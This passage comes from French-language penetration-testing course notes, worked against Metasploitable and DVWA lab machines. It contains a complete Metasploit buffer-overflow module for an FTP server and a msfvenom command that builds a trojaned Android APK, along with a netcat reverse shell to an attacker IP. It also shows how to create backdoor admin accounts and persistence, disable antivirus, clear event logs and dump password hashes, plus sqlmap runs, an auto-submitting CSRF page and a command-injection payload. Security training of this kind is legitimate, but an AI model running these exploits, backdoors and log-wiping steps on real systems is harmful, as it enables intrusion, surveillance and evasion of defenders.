'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '62134' ],
[ 'EDB', '12044' ],
[ 'EDB', '14399' ]
],
// Comportement par défaut de l'exploit
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => false,
21/11/2019

'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x0a\x0d\x2f\x5c",

95
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

'DisableNops' => true


},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x004041ec } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x004041dc } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x00404481 } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x00404441 } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x00404411 } ], # call ebp - from ftpbasicsvr.exe
],
'DisclosureDate' => 'Apr 04 2010',

// Possibilité d'indiquer une cible par défaut


'DefaultTarget' => 0))
end

// Définition de la vulnérabilité de la cible ou non


def check
connect
disconnect

// Définition au niveau de la bannière utilisée


if (banner =~ /BigFoolCat/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

def make_nops(num)
"C" * num
end

// Définition de l'exploit
def exploit
connect_login

# NOTE:
# This exploit jumps to ebp, which happens to point at a partial version of
21/11/2019

# the 'buf' string in memory. The fixRet below fixes up the code stored on the
# stack and then jumps there to execute the payload. The value in esp is used
# with an offset for the fixup.
fixRet_asm = %q{

96
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

mov edi,esp
sub edi, 0xfffffe10
mov [edi], 0xfeedfed5
add edi, 0xffffff14
jmp edi
}

// Info : metasploit peut exécuter du code en assembleur


fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new, fixRet_asm).encode_string

buf = ''

// Affichage des adresses de retour


print_status("Prepending fixRet...")
buf << fixRet
buf << make_nops(0x20 - buf.length)

// Encodage du payload
print_status("Adding the payload...")
buf << payload.encoded

# Patch the original stack data into the fixer stub


buf[10, 4] = buf[268, 4]

print_status("Overwriting part of the payload with target address...")


buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes

// Exécution des commandes du payload


print_status("Sending exploit buffer...")
send_cmd( ['MKD', buf] , false)

// mode écoute
handler
disconnect
end
end

ALLER PLUS LOIN :

Pour ceux qui souhaitent s'étendre sur le développement de modules pour metasploit. Voici un lien
très intéressant : https://repo.zenk-security.com/Metasploit/Guide du Developpeur Metasploit
3.0.pdf
21/11/2019

97
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ Piratage Android

Dans notre exemple, nous allons créer un fichier apk piégé et voir les possibilités disponibles.

# Création de notre apk piégé


$ msfvenom -p PayloadAUtiliser LHOST=AdresseDeLAttaquantKALI LPORT=PortAUtiliser R>
CheminDeSortie/NomDeLApplication.apk

Il ne reste plus qu'à transférer le fichier apk sur un téléphone et à exécuter l'application pour obtenir
une connexion.

POUR DE VRAI :

Je n'ai pas réussi à faire fonctionner la connexion entre mon téléphone et ma machine virtuelle KALI.
Ma commande "ping" de ma VM vers mon smartphone fonctionnait correctement mais pas l'inverse
malgré mes nombreux réglages.

Nous allons détailler, brièvement, quelques-unes des commandes disponibles :

▪ dump_calllog : recupération de la liste des appels


▪ dump_contacts : recupération de la liste des contacs
▪ dump_sms : récupération des SMS
▪ webcam_snap : recupération d'une photo à l'aide de l'appareil photo du téléphone
▪ webcam_list : affiche la liste des appareils photos disponibles
▪ record-mic : Enregistre le micro du téléphone
▪ Mettre en place de la persistance et bien plus encore ….

ALLER PLUS LOIN :

La commande "help" permet de nous afficher la liste complète des commandes possibles.

9.6 Elévation de privilège

9.6.1 Introduction

Une fois, la cible compromise, il est possible que vous ayez des privilèges moindres tel que "guest". Il
nous faudra donc obtenir des privilèges plus élevés tel que l'utilisateur "root" pour Linux ou encore
21/11/2019

l'utilisateur "Administrateur" pour Windows.

98
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.6.2 Type d'élévation de privilèges

Il existe deux types d'élévation de privilèges :

▪ L'élévation "Verticale" consiste de récupérer le privilège le plus avancé, celui de


l'administrateur du système

▪ L'élévation "Horizontale" permet de récupérer le privilège d'un autre utilisateur dans le


même cercle d'utilisation

9.6.3 Mise en pratique de l'élévation de privilèges

Pour notre exemple, nous allons utiliser une vulnérabilité connue dans le service "distccd" (service
compilant des jobs pour différents services).

# Lançons la console msfconsole pour vérifier s'il existe un exploit concernant ce service
$ msfconsole

# Recherche de l'exploit
$ search distccd
21/11/2019

# Chargement de l'exploit
$ use exploit/unix/misc/distcc_exec

99
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Visualisation des options du payload


$ show options

# Définition des options du payload


$ set RHOST AdresseIpDeLaCible

# Lancement de l'exploit
$ exploit

# Nous pouvons maintenant visualiser notre niveau de privilège


$ whoami

# Nous allons aussi récupérer la version de notre kernel


$ uname -r

Pour élever nos privilèges de l'utilisateur "daemon" à celui de "root", nous allons utiliser le site
21/11/2019

https://www.exploit-db.com pour trouver un exploit dans notre kernel en version 2.6


(https://www.exploit-db.com/exploits/8572)
Il nous faudra compiler notre exploit et passer en argument le PID du socket netlink.

100
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Récupération du PID netlink


$ cat /proc/net/netlink

# Compilation de l'exploit écrit en C


$ gcc NomDuFichierDeLExploit.c -o NomDuFichierDeSortie

# Lancement du mode écoute sur le poste attaquant


$ nc -vv -l -p 31337

# Mise en connexion vers notre machine attaquante


/bin/netcat -e /bin/bash 192.168.184.129 31337

# Lancement de l'exploit
$ ./NomduFichierCompilé NuméroDuPID

Grâce à la commande "whoami", nous pouvons voir que nous sommes maintenant "root"

POUR DE VRAI :

La commande de compilation "gcc" ne semble pas fonctionner à partir du shell de notre exploit
précédent. Il m'indique un problème de droit. Pour outrepasser cela, j'ai lancé la commande
directement depuis la VM "Metasploitable"
De plus, malgré l'application de l'exploit, je n'ai pas réussi à élever mes privilèges.
21/11/2019

101
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.7 Maintien d'accès

9.7.1 Introduction

Après la phase d'élévation de privilèges, vient ensuite l'établissement d'un accès constant à la cible.
Cela nous permettra une accessibilité continue à l'aide de portes dérobées appelé aussi "backdoor"

9.7.2 Liste des outils à utiliser

❖ Telnet

Pour cet exemple, nous n'allons pas détailler la partie exploitation pour avoir accès à une connexion
meterpreter. Pour ma part, j'ai réutilisé la faille du logiciel "Chasys Draw IES" vu précédemment.

# Une fois la connexion meterpreter établie, il nous suffit de lancer la commande suivante pour
établir un accès telnet persistant vers notre cible
$ run gettelnet -e

INFO :

La commande "run multi_console_command -r


/root/.msf4/logs/scripts/gettelnet/clean_up__20191012.2059.rc", affichée en fin de résultat de la
commande précédente, permet de supprimer l'accès persistant que nous avons sur notre cible.

# Accès à un shell sur notre cible Windows


$ shell

# Création d'un nouvel utilisateur sur notre cible


$ net user NomUtilisateur MotDePasse /ADD

# Ajout de notre nouvel utilisateur au groupe Administrator


$ net localgroup administrators NomUtilisateur /ADD
21/11/2019

102
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

POUR DE VRAI :

Après avoir installé le service "telnet" sur la cible Windows via le menu "Ajout de fonctionnalité" et
malgré la désactivation du pare-feu. Je n'ai pas réussi à créer mon utilisateur :'( Je pense que cela
vient du fait que j'utilise le système Windows 7.

# Il ne nous reste plus qu'à effectuer une connexion en telnet sur notre cible via un nouveau terminal
# N'oubliez pas d'indiquer votre identifiant crée précédemment
$ telnet AdresseIPDeLaCible

❖ RDP

Utilisons maintenant le service RDP pour effectuer une connexion persistante à notre cible.

# Activez le service RDP sur notre cible


$ run getgui -e

# Création d'un utilisateur pour nous connecter


$ run getgui -u NomUtilisateur -p MotDePasse
21/11/2019

103
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement et connexion au service RDP de notre cible


$ rdesktop AdresseIpDeLaCible

❖ Metsv

Metsv est un module de persistance intégré à l'outil meterpreter jusqu'à la suppression des fichiers
de ce dernier.

# Installation de metsv
$ run metsv

❖ Persistence

Ce script de metasploit vise à créer une backdoor persistante sur notre machine cible.

# Lancement du module "Persistance"


# Option -X : Démarrage automatique de l'agent au boot du système
# Option -i : Intervalle en seconde entre chaque tentative de connexion
# Option -p : Port utilisé
# Option -r : Adresse IP de l'attaquant
$ run persistance -X -i 10 -p NuméroDePort -r AdresseIPDeLAttaquant
21/11/2019

104
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour finir de tester notre exemple, il faut lancer un metasploit en mode écoute. Pour les mauvais
élèves, je vous re-note la liste des commandes :

# Chargement du module
$ use multi/handler

# Définition de l'exploit à utiliser


$ Set playload windows/meterpreter/reverse_tcp

# Déclaration de l'adresse de l'attaquant


$ Set LHOST AdresseDeLAttaquant

# Déclaration du numéro de port défini dans la commande "Persistance"


$ Set LPORT NuméroDuPortDéfinie

# Lancement de l'exploit
$ exploit

9.8 Autres Techniques Poste Exploitation

NDLR :

La partie pour créer une connexion meterpreter à notre cible ne sera pas détaillée. Pour tout rappel,
référer vous à l'exploit concernant la vulnérabilité du logiciel Chasys Draw IES

Nous allons détailler dans cette partie les actions suivantes :

9.8.1 Bypasser le contrôle d'utilisateur Windows

Une fois la connexion meterpreter créée, utiliser la commande "shell" pour pouvoir utiliser les
commandes Windows dites standard.
21/11/2019

105
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Voici une liste non exhaustive des commandes Linux / Windows qui nous permettront de récolter le
plus d'information possible.

INFO :

Pour quitter le shell ouvert avec meterpreter, il nous suffira de presser les touches "CTRL+C" et de
valider la demande de sortie.
21/11/2019

106
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.8.2 Reconnaissance : Langage WMIC

En complément et pour information, le langage "WMIC" permet, lors de la connexion à un shell


Windows, d'accéder à une multitude d'information, tel que la version du système de notre cible.

Voici quelques commandes qui pourront vous êtes utile :

9.8.3 Trouver des informations sensibles

Nous allons, maintenant, développer les actions à réaliser avec l'outil "volatility" pour analyser une
image "dumpée" de la mémoire pour recueillir les informations importantes pour nous : fichiers SAM
et SYSTEM pour en découvrir les mots de passe utilisateur.

Pour notre exemple, nous allons utiliser, l'exemple d'image mémoire "Malware – Zeus", disponible à
cette adresse : https://github.com/mgoffin/malwarecookbook/raw/master/17/1/zeus.vmem.zip
21/11/2019

Commençons par dézipper l'image à l'aide de la commande : $ unzip zeus.vmem.zip

107
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Affichage des informations disponible sur l'image


$ volatility imageinfo -f NomDeLImage

# Visualisation des informations nous permettant de récupérer les mots de passe utilisateur
volatility hivelist -f NomDeLImage

Nous voyons ici les fichiers SAM et SYSTEM que nous allons utiliser dans la commande suivante.

# Récupération et stockage des hashes dans un fichier


$ volatility hashdump -f NomDeLImage -y AdresseDuFichierSYSTEM -s AdresseDuFichierSAM >>
NomDuFichierDeSortie

ALLER PLUS LOIN :


21/11/2019

Maintenant que nous sommes en possession des hashes, il ne reste plus qu'à utiliser des outils tel que
"John The Ripper" ou encore "Hashcat" pour lancer le cracking et trouver les mots de passe.

108
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Continuons, notre recherche d'information sur notre cible à l'aide "meterpreter"

Voici quelques commandes utiles :

9.8.4 Migration du processus de meterpreter pour dissimuler notre présence

# Visualisation des processus disponibles sur notre cible


$ ps

INFO :

La migration vers le processus le plus utilisé par les systèmes Windows "explorer.exe" est la façon la
plus pratique de ne pas se faire découvrir.

$ migration de meterpreter vers le processus "explorer.exe"


$ migrate PID_Explorer.exe

9.8.5 Savoir si notre cible est une machine virtuelle


21/11/2019

# Vérifie si notre cible est une machine virtuelle


$ run checkvm

109
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.8.6 Récupération des états des outils de contre-mesure

# Récupération des informations sur l'état des outils de défense


$ run getcountermeasure

9.8.7 Désactivation des outils de sécurité

# Désactivation des outils de sécurité, tel que l'antivirus, Windows Uodate, …


$ run killav

9.8.8 Dumper les registres de la cible

# Dumper les registres


$ run scraper
21/11/2019

110
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.8.9 Récupération détaillée des informations sur notre cible

# Récupération des informations de notre cible, tel que les comptes disponibles, la table ARP ou
encore les hashes des mots de passes.
$ run winenum

Dans notre exemple, les informations seront stockés dans le dossier :


/root/.msf4/logs/scripts/winenum/WIN-PMTS2KMK4SG_20191014.0913
21/11/2019

111
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.8.10 Capture d'écran sur notre cible

# Chargement du module "espia"


$ run espia

# Lancement du screenshot
$ screenshot

9.8.11 Rejouer token d'authentification en utilisant incognito

L'outil "incognito" va nous permettre de rejouer un token d'authentification et ainsi d'élever nos
privilèges de type vertical.

# Chargement du module "incognito"


$ run incognito

# Récupération des tokens des utilisateurs


$ list_tokens -u

# Rejouer le token de l'utilisateur spécifique


# Pensez à ajouter un "\", comme dans l'exemple ci-dessous, pour que le slash soit pris en compte
$ impersonate_token TokenDeLUtilisateur
21/11/2019

Nous avons donc réalisé une élévation de privilèges et obtenu les droits de l'utilisateur "gudbes"

112
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.8.12 Elévation de privilèges horizontale → SYSTEM

Pour récupérer, par une élévation de type horizontal, les droits SYSTEM, il suffit simplement d'utiliser
la commande : $ getsystem

POUR DE VRAI :

La commande "getsystem" ne fonctionne pas sur ma VM. L'erreur suivante est retournée :
priv_elevate_getsystem: Operation failed: The environment is incorrect.

9.8.13 Accès à distance

Il est possible d'initialiser un accès à distance à l'aide de l'outil "VNC"

# Lancement de l'exploit "VNC"


$ run vnc

9.8.14 Effacer les traces

Pour effacer nos traces, nous allons utiliser l'outil "irb".

# Lancement de l'outil irb


$ irb

# Suppression des logs system


$ log = client.sys.eventlog.open('system')

# Suppression des logs security


$ log = client.sys.eventlog.open('security')
21/11/2019

# Suppression des logs application


$ log = client.sys.eventlog.open('application')

113
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Suppression des logs directory service


$ log = client.sys.eventlog.open('directory service')

# Suppression des logs dns server


$ log = client.sys.eventlog.open('dns server')

# Suppression des logs file replication service


$ log = client.sys.eventlog.open(' file replication service')

# Suppression du journal
$ log.clear()

POUR DE VRAI :

A mon grand regret, l'effacement des logs n'ont pas fonctionné pour moi.

10 Attaques Web

10.1 Calcul du risque

Il est important de calculer un risque par rapport à une vulnérabilité découverte. Voici la formule
pour évaluer le risque :

Risque = Valeur des actifs x Menace x Vulnérabilité x Impact

Voici le triangle CISSP qui représente la base de la sécurité informatique.

Confidentialité (confidentiality) : La confidentialité et la sécurité


de l'information

Intégrité (integrity) : Données non modifiées, supprimées ou


ajoutées
21/11/2019

Disponibilité (availability) : Les systèmes à la disposition de ceux


qui en ont besoin

114
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

10.2 Scanning

Ce chapitre concerne la découverte de vulnérabilités au niveau de applications web grâce aux outils
suivants :

• Nikto

Cet outil va nous permet d'analyser l'existence de scripts vulnérables et va nous fournir des
informations pour notre test de pénétration.

# Lancement de l'outil "nikto"


$ nikto – host NomDeDomaineAScanner -port NuméroDePortAUtiliser -ssl

Nous pouvons aussi tester nikto sur notre machine virtuelle "metasploitable" et voir les informations
qui nous remontent, tel que la version du service Apache ou encore certaines vulnérabilités.

21/11/2019

• Sslscan

Sslscan va effectuer des scans concernant les certificats SSL, le niveau de sécurité des protocoles.

115
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement de l'outil "sslscan"


$ sslscan NomDuDomaine

• Sslyze

Idem à "sslscan", "sslyze" va récupérer les certificats utilisés, les versions acceptées, …

# Lancement de l'outil "sslyze"


$ sslyze NomDuDomaine

21/11/2019

116
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

ALLER PLUS LOIN :

Nous pouvons spécifier la version du protocole à utiliser pour afficher les types de certificats acceptés
ou rejetés.

# Les valeurs des options sont disponibles grâce à la commande : $ sslyze -h


$ sslyze TypeDuProtocoleSSL

• ZAP

PRE-REQUIS :

Pensez à activer le proxy de votre navigateur avec la configuration suivante :

# Lancement de ZAP
21/11/2019

$ zaproxy

Accédons maintenant à la partie Mutillidae sur notre VM "Metasploitable" :


https://AdresseIPDeLaVMMetasploitable/mutillidae/
117
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Dans un premier temps, nous allons indexer les pages de notre site, en effectuant un clic droit sur le
dossier " Mutillidae" → "Attaquer" → "Indexer" et enfin "Lancer le balayage"

Complétons à présent notre attaque, en utilisant l'option "Site de Spider AJAX" qui va ouvrir chaque
URL à notre place et ainsi analyser en détail tous les éléments contenus dans notre site cible. Pour
voir s'afficher les pages sur lesquelles travaillent ZAP, sélectionnez le navigateur "Firefox" quand vous
y est invité, sinon laisser le navigateur "Firefox Headless" par défaut pour verra l'action en mode
silencieux.

L'analyse active, tente de trouver des vulnérabilités potentielles sur notre site, en utilisant des
attaques connues. Pour cela, il suffit de lancer le balayage via le menu "Balayage actif avancé"

INFO :

Nous pouvons voir, en bas à gauche de la fenêtre, le détail des alertes trouvées, en commençant, de
la droite, par les alertes de type informations puis de priorité faible, moyenne, pour finir le plus à
gauche sur les alertes de priorité élevées.

Il est possible de définir, aussi, des options supplémentaires via le menu "Outils" → "Options" pour
notre balayage "AJAX Spider" mais encore sur des options tels que : certificats SSL, Jetons anti-CSRF,
scans actif et passif, les scripts, Zest, …
21/11/2019

118
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois le scan actif terminé, nous pouvons voir les détails sur les différents alertes dans l'onglet
"Alerte" :

Nous allons maintenant détailler le menu "Générer du bruit", après avoir sélectionné une URL dans
l'onglet "historique".

Le plus intéressant, en plus de la visualisation de la requête, est d'ajouter un script de Fuzzer

Par exemple, nous pouvons sélectionner des scripts concernant les injections …
21/11/2019

119
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

… et démarrer le fuzzer

INFO :

Pour plus de détail sur les scripts, il est possible d'ajouter un onglet "Script" …

… et de consulter les différents types de scripts …

… voir d'en importer des nouveaux depuis github par exemple :


https://github.com/zaproxy/community-scripts

NDLR :

Les scripts de l'outil ZAP sont stockés à l'emplacement suivant :


/usr/share/zaproxy/scripts/templates/

De plus, si vous avez besoin d'assistance, n'hésitez pas à consulter le site suivant :
https://stackoverflow.com/questions/tagged/zap

• Arachni

Commençons par installation de l'outil "Arachni" :


21/11/2019

# Téléchargement du script d'installation


$ wget
https://gist.githubusercontent.com/yaci/d59886dfc0a26456dbd65c482e71dec4/raw/e7afba1c5ec
297849580508e5e5d933ed2669151/install-arachni-on-kali.sh
120
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Application des droits d'exécution du script


$ chmod +x install-arachni-on-kali.sh

# Lancez l'installation
$ ./install-arachni-on-kali.sh

NDLR :

Indiquer NON aux différentes questions qui vous seront posées.

# A la fin de l'installation, rendez-vous dans le dossier d'arachni


$ cd /root/soft/arachni/bin/

# Il ne reste plus qu'à lancer le script


$ ./arachni_web

# Vous pouvez maintenant vous connecter à l'adresse http://localhost:9292

21/11/2019

121
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO :

Voici la liste des identifiants par défaut :

Compte Administrateur :
E-mail: admin@admin.admin
Password: administrator

Compte Utilisateur :
E-mail: user@user.user
Password: regular_user

La première chose à faire est, de créer un scan de notre site cible. Pour cela, aller dans le menu
"Scans" puis sélectionner "New"

Il ne nous reste plus qu'à indiquer l'adresse du site à analyser, choisir le type de scan et de lancer
l'outil à l'aide du bouton "Go".

POUR DE VRAI :

Lors de lancement de mon scan, ce dernier, restait bloqué sur ce message :

J'ai résolu ce problème en exécutant, dans le terminal, la commande suivante avant de lancer le script
"arachni"

export OPENSSL_CONF=/etc/ssl/
21/11/2019

Source : https://github.com/Arachni/arachni/issues/1022

122
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Lorsque le scan est terminé, la liste des vulnérabilités s'affichent. Pour plus de détails, il suffit de
cliquer sur le bouton à côté du lien concerné.

Dans ces détails, on peut apercevoir les parties suivantes :

L'origine de l'injection : quel bout de code est concerné.

Le POC (Proof Of Concept) pour nous permettre


de vérifier la vulnérabilité

Les vecteurs d'attaque

La requête qui a été effectuée


et la réponse qui nous prouve
que la faille existe.
21/11/2019

123
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Dans l'onglet "Review", on peut lire les correctifs à appliquer


pour remédier à la vulnérabilité.

• Sqlmap

Cette utilitaire va nous permettre de détecter la présence ou non de faille SQL.


Commençons par nous logger avec les identifiants par défaut [admin / password] sur notre site
vulnérable : http://AdresseIPDeLaVMMetasploitable/dvwa/

Pour nous permettre d'analyser les failles, nous devons appliquer une stratégie de sécurité faible via
le menu "DVWA Security" → "Low"
21/11/2019

124
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Maintenant, nous pouvons récupérer les informations sur les cookies présents en effectuant un clic
droit → "View Page Info" → Onglet "Security" → " View Cookies" → paramètre : "Content"

▪ Méthode GET

# Lancement de l'analyse sur les injections SQL


$ sqlmap -u
"http://AdresseDeLaVMMetasploitable/dvwa/vulnerabilities/sqli/?id=usertest&Submit=y" --
cookie="security=low"; PHPSESSID=ContenuDuCookie --risk=3 --level=5

POUR DE VRAI :

Nous aurions dû trouver une vulnérabilité sur le paramètre "id" ….

… mais chez moi, il ne teste aucune vulnérabilité … j'ai la poisse :/)


21/11/2019

125
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Continuons notre exploration, en vérifiant quelles sont les tables exploitables dans notre base de
donnée.

# Lancement de l'analyse sur nos tables avec la commande précédente suivi de l'option "--dbs"
$ sqlmap -u
"http://AdresseDeLaVMMetasploitable/dvwa/vulnerabilities/sqli/?id=usertest&Submit=y" --
cookie="security=low"; PHPSESSID=ContenuDuCookie --risk=3 --level=5 --dbs

▪ Méthode POST

Connexion à la page "Login/Register" de notre site "mutillidae" :


https://AdresseIPDeLaVMMetasploitable/mutillidae/.
Cliquez sur le lien "Please register here" pour créer un utilisateur.

Nous allons créer l'utilisateur "userman" avec le mot de passe "test88+" et la valeur de la signature à
"root"
21/11/2019

126
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

NDLR :

Si lors de la création de l'utilisateur, vous avez une erreur du type "Table ‘metasploit.xxx’ doesn’t
exist", vous devez renommer dans la VM Metasploitale, le fichier "/var/www/mutillidae/config.inc",
en modifiant la ligne $dbname = 'metasploit'; par $dbname = 'owasp10';

ATTENTION : le clavier est en QWERTY

Source : https://za1d.com/2017/01/31/fix-table-metasploit-accounts-doesnt-exis-in-metasploitable-
2/

Il ne nous reste plus qu'à lancer la commande d'injection sur notre page de login :
$ sqlmap -u "http://AdresseDeLaVMMetasploit/mutillidae/index.php?page=login.php" --
data="username=NomDeNotreUtilisateur&password=MotDePasseDeNotreUtilisateur&login-php-
submitbutton=Login" --risk=3 --level=5

• BurpSuite

L'outil "burpsuite" va nous permettre de capturer une requête pour ensuite l'analyser sa vulnérabilité
avec l'outil "sqlmap"
21/11/2019

127
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

PRE-REQUIS :

Pensez à activer le proxy de votre navigateur avec la configuration suivante :

# Lancement de burpsuite
$ burpsuite

INFO :

Pour plus de faciliter dans notre test, nous nous rendons dans l'onglet "Proxy" pour désactiver
l'interception des requêtes.

Allez maintenant sur notre site http://AdresseIPDeLaVMMetasploitable/dvwa/ , dans la rubrique


"SQL Injection" et valider le formulaire avec l'ID 1

Rendez-vous ensuite, sur "burpsuite", dans l'onglet "Target" puis "Site Map" et rechercher la requête
concernant notre action précédente.
21/11/2019

128
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Il ne nous reste plus qu'à faire un clic droit sur le détail de la requête et de sélectionner "copy to file"
pour l'enregistrer sur notre poste.

Une fois, notre requête sauvegardée, nous pouvons utiliser l'outil "sqlmap" pour scanner les
vulnérabilités présentes :
sqlmap -r NomDuFichierContenantNotreRequete --level=5 --risk=3 -p id

POUR DE VRAI :
21/11/2019

Nous devons, suite à ce scan, trouver une vulnérabilité sur le paramètre "ID". Bien sûr ce n'est pas
mon cas

129
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

• Cross Site Request Forgery : CSRF

L'exemple présenté, ci-après, a pour but d'ajouter, avec un module externe, un commentaire sur un
blog.

Commençons par nous connecter au site http://AdresseIPDeLaVMMetasploitable/mutillidae/ puis


Menu OWASP Top 10 → A5 – Cross Site Request Forgery (CSRF) → Add to your blog

En parallèle, créer une page html, que nous appellerons "CRSF.html" avec les éléments suivants :

html>
<head>
<title></title>
</head>
<body>
<form name="CSRF"
action="http://AdresseIPDeLaVMMetasploitable/mutillidae/index.php?page=add-to-your-blog.php"
method="POST">
<input type="hidden" name="csrf-token" value="SecurityIsDisabled" />
<!-- Le nom "blog_entry" correspond au nom du champ texte présent sur le blog -->
<input type="hidden" name="blog_entry" value="Voici mon nouveau commentaire blabla !" />
<--idem ici pour le bouton "Save Blog Entry" -->
<input type="hidden" name="add-to-your-blog-php-submit-button" value="Save Blog Entry" />
</form>

<script type="text/javascript">
document.CSRF.submit();
</script>
</body>
</html>

Ce script va nous permettre d'ajouter notre commentaire lorsque l'utilisateur naviguera sur notre
page.

# Copie de notre page piégée vers le dossier /var/www/html :


21/11/2019

$ cp CSRF.html /var/www/html/

130
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Il ne nous reste plus qu'à nous connecter, sur notre hôte attaquant, au site
http://localhost/CSRF.html …

… pour voir apparaitre notre commentaire, sur le blog du poste cible.

NDLR :

Si cela ne fonctionne pas, essayer de démarrer le service "nginx"


/etc/init.d/nginx start

Cet exploit peut être très dangereux, il peut, aussi, être utilisé pour changer des mots de passe,
effectuer des transactions, …

• Scripting → Python → Validation d'injection de commandes (http, ICMP)

Dans cette dernière partie, nous allons vérifier la validation des injections de commandes.

L'exemple, ci-dessous, est un script python basé HTTP (CI.py) :

#!/usr/bin/python
import socket
httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
httprecv.bind(("0.0.0.0",8000))
httprecv.listen(2)
(client, ( ip,sock)) = httprecv.accept()
print "Received connection from : ", ip
data = client.recv(4096)
print str(data)
client.close()
httprecv.close()

# Application des droits d'exécution sur le script


21/11/2019

$ chmod +x CI.py

# Exécution du script
$ ./CI.py
131
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Rendez-vous maintenant sur notre site vulnérable à l'adresse suivante :


http://AdresseIPDeLaVMMetasploitable/dvwa/vulnerabilities/exec/ et tapez la commande suivante :
1;wget http://AdresseIPDuPosteAttaquant:8000

Nous voyons donc, que la faille existe bien, car nous avons récupérer la réponse à la commande wget

Essayez, maintenant, de vérifier la présence de la faille avec le script python, suivant basé sur la
commande ICMP (CIICMP.py).

#!/usr/bin/python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
def rules(pkt):
try:
if (pkt[IP].dst==" AdresseIPDuPoste Attaquant ") and (pkt[ICMP]):
print str(pkt[IP].src) + " is exploitable"
except:
pass
